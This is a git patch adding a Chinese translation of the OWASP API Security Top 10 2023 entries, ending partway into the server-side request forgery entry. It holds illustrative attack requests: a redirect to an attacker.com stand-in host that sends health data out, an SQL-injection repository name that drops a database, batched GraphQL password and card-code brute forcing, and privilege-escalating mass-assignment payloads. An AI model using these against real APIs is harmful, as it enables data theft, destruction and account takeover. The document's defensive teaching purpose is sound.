From a1d86899eda072950e8fc5ebcc7c5684bc9797e9 Mon Sep 17 00:00:00 2001 From: hastings0714 Date: Wed, 15 Feb 2023 15:02:19 +0800 Subject: [PATCH 1/3] chore: add 2023 top10 docs Chinese translation --- ...47\232\204API\347\224\250\346\263\225 .md" | 87 +++++++++++ ...41\347\272\247\346\216\210\346\235\203.md" | 57 ++++++++ ...53\344\273\275\351\252\214\350\257\201.md" | 101 +++++++++++++ ...47\345\210\253\346\216\210\346\235\203.md" | 114 +++++++++++++++ ...04\346\272\220\346\266\210\350\200\227.md" | 104 ++++++++++++++ ...47\345\210\253\346\216\210\346\235\203.md" | 68 +++++++++ ...67\346\261\202\344\274\252\351\200\240.md" | 136 ++++++++++++++++++ ...15\347\275\256\351\224\231\350\257\257.md" | 100 +++++++++++++ ...01\347\232\204\344\277\235\346\212\244.md" | 62 ++++++++ ...41\347\220\206\344\270\215\345\275\223.md" | 64 +++++++++ 10 files changed, 893 insertions(+) create mode 100644 "2023/zhCN/API10:2023 \344\270\215\345\256\211\345\205\250\347\232\204API\347\224\250\346\263\225 .md" create mode 100644 "2023/zhCN/API1:2023.\346\215\237\345\235\217\347\232\204\345\257\271\350\261\241\347\272\247\346\216\210\346\235\203.md" create mode 100644 "2023/zhCN/API2:2023 \350\242\253\347\240\264\345\235\217\347\232\204\350\272\253\344\273\275\351\252\214\350\257\201.md" create mode 100644 "2023/zhCN/API3:2023 \347\240\264\346\215\237\345\257\271\350\261\241\345\261\236\346\200\247\347\272\247\345\210\253\346\216\210\346\235\203.md" create mode 100644 "2023/zhCN/API4:2023 \346\227\240\351\231\220\345\210\266\347\232\204\350\265\204\346\272\220\346\266\210\350\200\227.md" create mode 100644 "2023/zhCN/API5:2023 \347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" create mode 100644 "2023/zhCN/API6:2023 \346\234\215\345\212\241\345\231\250\347\253\257\350\257\267\346\261\202\344\274\252\351\200\240.md" create mode 100644 "2023/zhCN/API7:2023 \345\256\211\345\205\250\351\205\215\347\275\256\351\224\231\350\257\257.md" create mode 100644 "2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" create mode 100644 "2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" diff --git "a/2023/zhCN/API10:2023 \344\270\215\345\256\211\345\205\250\347\232\204API\347\224\250\346\263\225 .md" "b/2023/zhCN/API10:2023 \344\270\215\345\256\211\345\205\250\347\232\204API\347\224\250\346\263\225 .md" new file mode 100644 index 000000000..a2acfb782 --- /dev/null +++ "b/2023/zhCN/API10:2023 \344\270\215\345\256\211\345\205\250\347\232\204API\347\224\250\346\263\225 .md" @@ -0,0 +1,87 @@ +API10:2023 不安全的API用法 +===================================== + +| 威胁来源/攻击向量 | 安全弱点 | 影响 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | +| API特定:易利用性**2** | 普遍性**2**:可检测性**1** | 技术**3**:业务特定 | +| 开发人员往往会相信与外部或第三方API交互的终端点。对这些API中的安全漏洞进行成功利用可能会影响依赖它们的人。 | 通常,API集成依赖于较弱的安全要求,例如有关传输安全、身份验证/授权和输入验证和净化的要求。 | 敏感信息被未经授权的人员获取,很多种类型的注入是常见的问题。 | + +## API是否存在漏洞? + +开发人员往往会相信来自第三方API的数据,而不是用户输入。特别是对于知名公司提供的API,开发人员往往会采用较弱的安全标准,例如在输入验证和净化方面。 + +如果API满足以下条件,则可能存在漏洞: + +- 与其他API在未加密通道上交互; +- 在处理来自其他API的数据之前,未正确验证和净化该数据或将其传递给下游组件; +- 盲目遵循重定向; +- 没有限制可用于处理第三方服务响应的资源数量; +- 未实现与第三方服务交互的超时。 + +## 攻击场景举例 + +### 场景1 + +一个API依赖于第三方服务来丰富用户提供的业务地址。当最终用户提供地址时,它被发送到第三方服务,并返回的数据然后存储在本地SQL启用的数据库中。 + +攻击者使用第三方服务来存储与他们创建的业务相关的SQLi负载。然后,他们攻击易受攻击的API,提供特定的输入,使其从第三方服务中提取他们的“恶意业务”。 SQLi负载最终由数据库执行,将数据外传到攻击者控制的服务器。 + +### 场景2 + +一个API与第三方服务提供商集成,以安全的方式存储用户的敏感医疗信息。使用如下的HTTP请求通过安全通道发送数据: + +``` +bashCopy code +POST /user/store_phr_record +{ "genome": "ACTAGTAG__TTGADDAAIICCTT…" } +``` + +攻击者找到了一种方法来破解第三方API,并开始以308永久重定向响应之前的请求,如下所示: + +``` +javascriptCopy code +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +由于API盲目地遵循第三方重定向,它将重复相同的请求,包括用户的敏感数据,但这一次是发送到攻击者的服务器。 + +### 场景3 + +攻击者可以准备一个名为 `'; drop db;--` 的Git仓库。 + +现在,当受攻击应用程序的集成与恶意存储库完成后,将在构建应用程序的注入负载上使用该存储库的注入负载,以认为存储库的名称是安全输入的应用程序上。 + +## 预防措施 + +- 在评估服务提供商时,评估其API安全姿态。 +- 确保所有API交互都发生在安全的通信通道(TLS)上。 +- 在使用集成API接收到数据之前,始终验证并适当地清理数据。 +- 维护一个白名单,其中包含已知的位置,集成的API可能会重定向到您的位置:不要盲目遵循重定向。 + +## 参考资料 + +### OWASP + +* [Web Service Security Cheat Sheet][1] +* [Injection Flaws][2] +* [Input Validation Cheat Sheet][3] +* [Injection Prevention Cheat Sheet][4] +* [Transport Layer Protection Cheat Sheet][5] +* [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### External + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html \ No newline at end of file diff --git "a/2023/zhCN/API1:2023.\346\215\237\345\235\217\347\232\204\345\257\271\350\261\241\347\272\247\346\216\210\346\235\203.md" "b/2023/zhCN/API1:2023.\346\215\237\345\235\217\347\232\204\345\257\271\350\261\241\347\272\247\346\216\210\346\235\203.md" new file mode 100644 index 000000000..0597f03b7 --- /dev/null +++ "b/2023/zhCN/API1:2023.\346\215\237\345\235\217\347\232\204\345\257\271\350\261\241\347\272\247\346\216\210\346\235\203.md" @@ -0,0 +1,57 @@ +# API1:2023 损坏的对象级授权 +|威胁/攻击向量|安全弱点|影响| +| ----- | ----- | ----- | +|API 特定: 可利用性**3**|普遍性**3** : 可检测性**2**|技术性**3** : 业务特定| +|攻击者可以通过操纵请求中发送的对象的ID来利用存在对象级授权漏洞的API端点,这可能导致未经授权访问敏感数据。在基于API的应用程序中,这个问题非常普遍,因为服务器组件通常不会完全跟踪客户端的状态,而是更多地依赖于从客户端发送的像对象ID这样的参数来决定访问哪些对象。|这是对APIs最常见和最具影响力的攻击。现代应用程序的授权和访问控制机制是复杂和广泛的。即使应用程序实现了适当的授权检查基础设施,开发人员在访问敏感对象之前可能会忘记使用这些检查。访问控制检测通常不易受自动化静态或动态测试的影响。|未经授权的访问可能导致数据泄露给未经授权的各方、数据丢失或数据操作。未经授权访问对象还可能导致完整的帐户接管。| + +## API是否易受攻击? +对象级授权是一种通常在代码层面实现的访问控制机制,用于验证用户只能访问他们应该有权限访问的对象。 + +每个接收对象ID并对对象执行任何操作的API端点都应该实现对象级授权检查。检查应该验证登录用户是否有权限对请求的对象执行请求的操作。 + +此机制的失败通常导致未经授权的信息披露、修改或破坏所有数据。 + +将当前会话的用户ID(例如,从JWT令牌中提取它)与易受攻击的ID参数进行比较并不是解决BOLA的足够方案。这种方法只能解决一小部分情况。 + +在BOLA的情况下,用户将有访问易受攻击的API端点/函数的权限。违规行为发生在对象级别,通过操纵ID来实现。如果攻击者设法访问他们不应该访问的API端点/函数,则属于BFLA而不是BOLA。 + +## 攻击场景举例 +### 场景1 +一家为在线商店提供销售图表的电商平台提供了一个展示收入图表的列表页面。攻击者可以检查浏览器请求,识别用作数据源的 API 端点和其模式 `/shops/{shopName}/revenue_data.json`。攻击者可以使用另一个 API 端点获取所有托管商店名称的列表。使用一个简单的脚本来操作列表中的名称,替换 URL 中的 `{shopName}`,攻击者就可以访问数千个电商商店的销售数据。 + +### 场景2 +一家汽车制造商通过移动 API 实现了对其车辆的远程控制,以便与驾驶员的手机通信。该 API 使驾驶员可以远程启动和停止发动机,锁定和解锁车门。在这个流程中,用户将车辆识别号码 (VIN) 发送到 API。但是,API 未能验证 VIN 是否代表属于已登录用户的车辆,这导致了一种 BOLA 漏洞。攻击者可以访问不属于自己的车辆。 + +### 场景3 +一家在线文档存储服务允许用户查看、编辑、存储和删除他们的文档。当用户的文档被删除时,将发送带有文档 ID 的 GraphQL 突变到 API 中。 + +```bash +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` +由于没有进行任何其他权限检查,用户可能能够删除另一个用户的文档。 + +## 如何预防 +* 实施正确的授权机制,依赖于用户策略和层次结构。 +* 在使用来自客户端的输入访问数据库记录的每个函数中使用授权机制来检查登录用户是否有权限执行所请求的操作。 +* 建议使用随机和不可预测的值作为记录ID的GUID。 +* 编写测试来评估授权机制的漏洞。不要部署会导致测试失败的更改。 + +## 参考资料 +### OWASP +* [Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html) +* [Authorization Testing Automation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html) + +### 外部 +* [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html) +* [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html) \ No newline at end of file diff --git "a/2023/zhCN/API2:2023 \350\242\253\347\240\264\345\235\217\347\232\204\350\272\253\344\273\275\351\252\214\350\257\201.md" "b/2023/zhCN/API2:2023 \350\242\253\347\240\264\345\235\217\347\232\204\350\272\253\344\273\275\351\252\214\350\257\201.md" new file mode 100644 index 000000000..f9923ba6d --- /dev/null +++ "b/2023/zhCN/API2:2023 \350\242\253\347\240\264\345\235\217\347\232\204\350\272\253\344\273\275\351\252\214\350\257\201.md" @@ -0,0 +1,101 @@ +# API2:2023 被破坏的身份验证 + +| 威胁代理/攻击向量 | 安全弱点 | 影响 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | +| API 特定:可利用性 **3** | 普及率 **2**:可检测性 **2** | 技术性 **3**:业务特定 | +| 在 API 中进行身份验证是一个复杂和令人困惑的机制。软件和安全工程师可能对身份验证的边界以及如何正确实现身份验证存在误解。此外,身份验证机制是攻击者的易于攻击的目标,因为它向所有人公开。这两点使得身份验证组件潜在地容易受到许多攻击。 | 存在两个子问题:1. 缺乏保护机制:负责身份验证的 API 端点必须与常规端点有所不同,并实现额外的保护层;2. 机制的错误实现:机制被使用/实现时没有考虑攻击向量,或者用于错误的用例(例如,为物联网客户端设计的身份验证机制可能不适用于 Web 应用程序)。 | 攻击者可以控制系统中其他用户的帐户,读取他们的个人数据,并代表他们执行敏感操作,例如货币交易和发送个人信息。 | + +## API 是否存在漏洞? + +身份验证端点和流程是需要保护的资产。此外,“忘记密码/重置密码”应被视为身份验证机制的一部分。 + +如果公开面向的 API: + +- 允许使用有效用户名和密码列表进行密码猜测。 +- 允许攻击者在不提供验证码/帐户锁定机制的情况下对同一用户帐户进行暴力攻击。 +- 允许使用弱密码。 +- 在 URL 中发送敏感的身份验证细节,例如身份验证令牌和密码。 +- 允许用户更改其电子邮件地址、当前密码或执行任何其他敏感操作,而无需要求确认密码。 +- 不验证令牌的真实性。 +- 接受未签名/弱签名的 JWT 令牌(`{"alg":"none"}`)。 +- 不验证 JWT 过期日期。 +- 使用纯文本、未加密或弱哈希的密码。 +- 使用弱加密密钥。 + +除此之外,如果微服务: + +- 其他微服务可以在未经身份验证的情况下访问它 +- 使用弱或可预测的令牌强制执行身份验证 + +## 攻击场景举例 + +## 场景 #1 + +为了执行用户认证,客户端必须发出如下API请求,其中包含用户凭证: + +``` +swiftCopy code +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +如果凭证有效,则返回一个认证令牌,后续请求需要提供该令牌以识别用户。登录尝试受到限制性速率限制:每分钟仅允许三个请求。 + +攻击者可以利用GraphQL查询批处理绕过请求速率限制,加快攻击速度,以暴力登录受害者的帐户: + +``` +swiftCopy code +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## 场景 #2 + +为了更新与用户帐户相关联的电子邮件地址,客户端应发出如下API请求: + +``` +bashCopy code +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +由于API不需要用户提供当前密码来确认其身份,因此攻击者可以将自己置于窃取认证令牌的位置。他们还可能通过更新受害者帐户的电子邮件地址后启动重置密码工作流程来接管受害者的帐户。 + +## 如何预防 + +- 确保您了解所有可能的API身份验证流程(实现单击身份验证的移动/ Web/深链接等)。询问您的工程师您错过了哪些流程。 +- 阅读有关身份验证机制的信息。确保您了解这些机制及其用法。OAuth不是身份验证,API密钥也不是身份验证。 +- 在身份验证、令牌生成或密码存储方面不要重新发明轮子。使用标准。 +- 凭据恢复/忘记密码端点应在暴力破解、速率限制和锁定保护方面视为登录端点。 +- 对于敏感操作(例如更改帐户所有者电子邮件地址/ 2FA电话号码),要求重新进行身份验证。 +- 使用 [OWASP身份验证备忘单][1]。 +- 在可能的情况下,实施多因素身份验证。 +- 实施反暴力破解机制,以减轻对身份验证端点的凭据填充、字典攻击和暴力攻击。此机制应比API上的常规速率限制机制更严格。 +- 实施 [帐户锁定][2]/验证码机制,以防止针对特定用户 + +## 参考资料 + +### OWASP + +- [Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) +- [Key Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html) +- [Credential Stuffing](https://owasp.org/www-community/attacks/Credential_stuffing) + +### External + +- [CWE-204: Observable Response Discrepancy](https://cwe.mitre.org/data/definitions/204.html) +- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html) \ No newline at end of file diff --git "a/2023/zhCN/API3:2023 \347\240\264\346\215\237\345\257\271\350\261\241\345\261\236\346\200\247\347\272\247\345\210\253\346\216\210\346\235\203.md" "b/2023/zhCN/API3:2023 \347\240\264\346\215\237\345\257\271\350\261\241\345\261\236\346\200\247\347\272\247\345\210\253\346\216\210\346\235\203.md" new file mode 100644 index 000000000..bad8154ab --- /dev/null +++ "b/2023/zhCN/API3:2023 \347\240\264\346\215\237\345\257\271\350\261\241\345\261\236\346\200\247\347\272\247\345\210\253\346\216\210\346\235\203.md" @@ -0,0 +1,114 @@ +# API3:2023 破损对象属性级别授权 + +| 威胁因素/攻击向量 | 安全漏洞 | 影响 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | +| 特定于API:可利用性**3** | 普遍性**2**:可检测性**2** | 技术**2**:业务特定 | +| 攻击者可以通过利用暴露了破损的对象属性级别授权的API端点来读取或更改他们不应该访问的对象属性的值。 | 在API中进行授权是分层的。虽然开发人员可能会执行适当的验证,以确保用户可以访问函数,然后是特定的对象,但他们通常不验证用户是否允许访问对象内的特定属性。 | 未经授权的访问可能导致数据泄露给未经授权的方,数据丢失或数据篡改。 | + +## API是否容易受到攻击? + +当允许用户使用API端点访问对象时,重要的是验证用户是否可以访问他们正在尝试访问的特定对象属性。 + +如果API端点满足以下条件,则API端点容易受到攻击: + +- API端点公开了被认为敏感且用户不应读取的对象属性(以前称为“[过度数据暴露][1]”)。 +- API端点允许用户更改,添加或删除敏感对象属性的值,这些值用户不应该访问(以前称为“[大规模分配][2]”)。 + +## 攻击场景举例 + +### 场景 #1 + +一款约会应用允许用户举报其他用户的不当行为。 在此过程中,用户单击“举报”按钮,触发以下API调用: + +``` +bashCopy code +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +API端点存在漏洞,因为它允许经过身份验证的用户访问敏感的(已举报的)用户对象属性,如“fullName”和“recentLocation”,其他用户不应该访问这些属性。 + +### 场景 #2 + +一个在线市场平台,为一种用户类型(“房东”)提供租赁自己的公寓给另一种用户类型(“租客”),要求房东在向租客收费之前接受租客的预订。 + +在此过程中,房东通过向`POST /api/host/approve_booking`发送API调用并发送以下合法负载: + +``` +jsonCopy code +{"approved":true,"comment":"Check-in is after 3pm"} +``` + +房东重放了合法请求,并添加了以下恶意负载: + +``` +bashCopy code +{"approved":true,"comment":"Check-in is after 3pm","total_stay_price":"$1,000,000"} +``` + +API端点存在漏洞,因为没有验证房东是否应该访问内部对象属性 - “total_stay_price”,而租客将被收取超过应收费用的费用。 + +### 场景 #3 + +基于短视频的社交网络实行严格的内容过滤和审查。即使上传的视频被阻止,用户也可以使用以下API请求更改视频的描述: + +``` +bashCopy code +PUT /api/video/update_video + +{"description":"a funny video about cats"} +``` + +沮丧的用户可以重放合法请求,并添加以下恶意负载: + +``` +jsonCopy code +{"description":"a funny video about cats","blocked":false} +``` + +API端点存在漏洞,因为没有验证用户是否应该访问内部对象属性 - “blocked”,用户可以将值从“true”更改为“false”,并解锁自己的被阻止的内容。 + +## 如何预防 + +- 当使用 API 端点公开对象时,始终确保用户应该访问你公开的对象属性。 +- 避免使用 to_json() 和 to_string() 等通用方法。相反,选择你特别想返回的对象属性。 +- 如果可能,避免使用自动绑定客户端输入到代码变量、内部对象或对象属性的功能("批量分配")。 +- 仅允许客户端更新应该更新的对象属性。 +- 实现基于模式的响应验证机制作为额外的安全层。作为此机制的一部分,定义和强制执行所有 API 方法返回的数据。 +- 根据端点的业务/功能要求将返回的数据结构最小化。 + +## 参考资料 + +### OWASP + +* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +* [Mass Assignment Cheat Sheet][3] + +### External + +* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa3-excessive-data-exposure.md +[2]: https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html \ No newline at end of file diff --git "a/2023/zhCN/API4:2023 \346\227\240\351\231\220\345\210\266\347\232\204\350\265\204\346\272\220\346\266\210\350\200\227.md" "b/2023/zhCN/API4:2023 \346\227\240\351\231\220\345\210\266\347\232\204\350\265\204\346\272\220\346\266\210\350\200\227.md" new file mode 100644 index 000000000..1585f7a2d --- /dev/null +++ "b/2023/zhCN/API4:2023 \346\227\240\351\231\220\345\210\266\347\232\204\350\265\204\346\272\220\346\266\210\350\200\227.md" @@ -0,0 +1,104 @@ +# API4:2023 无限制的资源消耗 + +| 威胁代理/攻击向量 | 安全漏洞 | 影响 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | +| 特定于API:可利用性**2** | 普及率**3**:可检测性**3** | 技术性**2**:业务特定 | +| 攻击需要简单的API请求。可以从单个本地计算机或使用云计算资源执行多个并发请求。 | 通常可以找到不限制客户端交互或资源消耗的API。虽然大多数情况下交互都会被记录下来,但由于缺乏监控或监控不当,恶意活动往往不会被注意到。 | 攻击可能导致由于资源匮乏而导致的DoS,但也可能影响服务提供商的计费。 | + +## API是否存在漏洞? + +满足API请求需要网络带宽、CPU、内存和存储等资源。有时需要的资源通过API集成由服务提供商提供,并按请求计费,例如发送电子邮件/短信/电话、生物识别验证等。 + +如果至少缺少或设置不当以下任何限制,则API存在漏洞(例如,设置过低或过高): + +- 执行超时 +- 最大可分配内存 +- 最大文件描述符数量 +- 最大进程数 +- 最大上传文件大小 +- 在单个API客户端请求中执行的操作数(例如GraphQL批处理) +- 每个请求响应中返回的每页记录数 +- 第三方服务提供商的消费限制 + +## 攻击场景举例 + +### 场景 #1 + +攻击者通过向 /api/v1/images 发送 POST 请求上传大型图像。上传完成后,API 将创建多个不同大小的缩略图。由于上传的图像大小,创建缩略图时可用内存耗尽,导致 API 无响应。 + +### 场景 #2 + +为了激活信用卡,应发出以下 API 请求,提供打印在上面的最后四位数字(只有有卡物理访问权的用户才能执行此操作): + +``` +swiftCopy code +POST /graphql + +{ + "query": "mutation { + validateOTP(token: \"abcdef\", card: \"123456\") { + authToken + } + }" +} +``` + +恶意行为者将能够执行信用卡激活,而无需物理访问它,制作以下请求之一: + +``` +swiftCopy code +POST /graphql + +[ + {"query": "mutation {activateCard(token: \"abcdef\", card: \"0000\") {authToken}}"}, + {"query": "mutation {activateCard(token: \"abcdef\", card: \"0001\") {authToken}}"}, + ... + {"query": "mutation {activateCard(token: \"abcdef\", card: \"9999\") {authToken}}"} +} +``` + +由于 API 不限制 activateCard 操作尝试的次数,其中一个 mutation 将成功。 + +### 场景 #3 + +服务提供商允许客户使用其 API 下载任意大的文件。这些文件存储在云对象存储中,并且它们不经常更改。服务提供商依赖缓存服务以获得更好的服务速率并保持带宽消耗低。缓存服务仅缓存文件大小不超过 15GB。 + +当其中一个文件更新时,其大小增加到 18GB。所有服务客户立即开始拉取新版本。由于没有消费成本警报,也没有云服务的最大成本允许额度,下一个月的账单从平均 US$13 增加到 US$8k。 + +## 如何预防 + +- 使用基于容器的解决方案,轻松限制 [内存][1]、[CPU][2]、[重启次数][3]、[文件描述符和进程][4]。 +- 对所有传入参数和负载数据定义和强制执行数据的最大大小,例如字符串的最大长度、数组中元素的最大数量以及上传文件的最大大小(无论是本地存储还是云存储)。 +- 在规定的时间内实现客户端与 API 交互的次数限制(速率限制)。 +- 根据业务需求调整速率限制。某些 API 端点可能需要更严格的策略。 +- 限制/调节单个 API 客户端/用户可以执行单个操作的次数或频率(例如,验证 OTP 或在未访问一次性 URL 的情况下请求密码恢复)。 +- 为查询字符串和请求体参数添加适当的服务器端验证,特别是控制要在响应中返回的记录数量的参数。 +- 为所有服务提供商/API 集成配置消费限制。当无法设置消费限制时,应配置计费警报。 + +## 参考资料 + +### OWASP + +* ["Availability" - Web Service Security Cheat Sheet][5] +* ["DoS Prevention" - GraphQL Cheat Sheet][6] +* ["Mitigating Batching Attacks" - GraphQL Cheat Sheet][7] + +### External + +* [CWE-770: Allocation of Resources Without Limits or Throttling][8] +* [CWE-400: Uncontrolled Resource Consumption][9] +* [CWE-799: Improper Control of Interaction Frequency][10] +* "Rate Limiting (Throttling)" - [Security Strategies for Microservices-based + Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf \ No newline at end of file diff --git "a/2023/zhCN/API5:2023 \347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" "b/2023/zhCN/API5:2023 \347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" new file mode 100644 index 000000000..61c831fed --- /dev/null +++ "b/2023/zhCN/API5:2023 \347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" @@ -0,0 +1,68 @@ +API5:2023 破损的功能级别授权 +============================================= + +| 威胁来源/攻击向量 | 安全弱点 | 影响 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | +| API特定:可利用性3 | 普及率2:可检测性1 | 技术2:业务特定 | +| 攻击者利用合法的API调用访问不应该访问的API端点。这些端点可能对匿名用户或普通非特权用户开放。由于API更为结构化,访问某些函数的方式更为可预测(例如将HTTP方法从GET更改为PUT,或更改URL中的“用户”字符串为“管理员”),因此在API中发现这些漏洞更为容易。 | 对于功能或资源的授权检查通常是通过配置管理的,有时是在代码级别进行的。实现适当的检查可能是一项困惑的任务,因为现代应用程序可能包含许多类型的角色或组以及复杂的用户层次结构(例如子用户或具有多个角色的用户)。检测依赖于适当的日志记录和监控。 | 此类漏洞允许攻击者访问未经授权的功能。行政功能是此类攻击的主要目标。 | + +## API是否易受攻击? + +查找破损的功能级别授权问题的最佳方法是对授权机制进行深入分析,同时考虑用户层次结构、应用程序中的不同角色或组,并提出以下问题: + +- 普通用户是否可以访问行政端点? +- 用户是否可以通过更改HTTP方法(例如从GET更改为DELETE)来执行他们不应该访问的敏感操作(例如创建、修改或删除)? +- 是否可以猜测端点URL和参数(例如`/api/v1/users/export_all`)并让X组的用户访问应仅向Y组的用户公开的功能? + +不要基于URL路径假设API端点是常规的或行政的。 + +虽然开发人员可能选择将大多数行政端点公开在特定的相对路径下,例如`/api/admins`,但通常还可以找到这些行政端点与常规端点一起位于其他相对路径下,例如`/api/users`。 + +## 攻击场景举例 + +### 场景 #1 + +某个只允许受邀用户加入的应用在注册过程中,移动应用程序触发一个API调用, 调用 `GET /api/invites/{invite_guid}` 接口。响应中包含有关邀请的详细信息, 包括用户的角色和电子邮件。 + +攻击者复制请求并操作HTTP方法和端点,将其更改为 `POST /api/invites/new`。 该端点只应由使用管理控制台的管理员访问。该端点未实现功能级授权检查。 + +攻击者利用这个问题,并发送一封新的邀请函,附带管理员权限: + +``` +javascriptCopy code +POST /api/invites/new + +{"email":"attacker@somehost.com","role":"admin"} +``` + +稍后,攻击者使用恶意构造的邀请函创建了一个管理员帐户,并获得了对系统的完全访问权限。 + +### 场景 #2 + +API 包含一个仅应暴露给管理员的端点- `GET /api/admin/v1/users/all`。 该端点返回应用程序所有用户的详细信息,并且未实现功能级授权检查。一个了解API结构的攻击者猜测并成功访问了这个端点,泄露了应用程序用户的敏感详细信息。 + +## 如何预防 + +您的应用程序应该具有一致且易于分析的授权模块,该模块从所有业务函数中调用。通常,此类保护由应用程序代码之外的一个或多个组件提供。 + +- 执行机制默认应拒绝所有访问,需要为访问每个功能授予特定角色的明确授权。 +- 根据应用程序的业务逻辑和组层次结构,检查 API 端点中的功能级授权缺陷。 +- 确保所有管理控制器都继承自一个管理抽象控制器,该控制器基于用户的组/角色实现授权检查。 +- 确保普通控制器中的管理功能实现基于用户的组和角色的授权检查。 + +## 参考资料 + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### External + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html \ No newline at end of file diff --git "a/2023/zhCN/API6:2023 \346\234\215\345\212\241\345\231\250\347\253\257\350\257\267\346\261\202\344\274\252\351\200\240.md" "b/2023/zhCN/API6:2023 \346\234\215\345\212\241\345\231\250\347\253\257\350\257\267\346\261\202\344\274\252\351\200\240.md" new file mode 100644 index 000000000..74222b55d --- /dev/null +++ "b/2023/zhCN/API6:2023 \346\234\215\345\212\241\345\231\250\347\253\257\350\257\267\346\261\202\344\274\252\351\200\240.md" @@ -0,0 +1,136 @@ +# API6:2023 服务器端请求伪造 + +| 威胁因素/攻击向量 | 安全弱点 | 影响 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | +| API特定:可利用性**2** | 普遍性**2**:可检测性**1** | 技术性**2**:业务特定 | +| 攻击者需要找到一个接收URI作为参数的API端点,然后访问提供的URI。大多数常见编程语言内置函数和库存在URL解析不一致的问题。 | 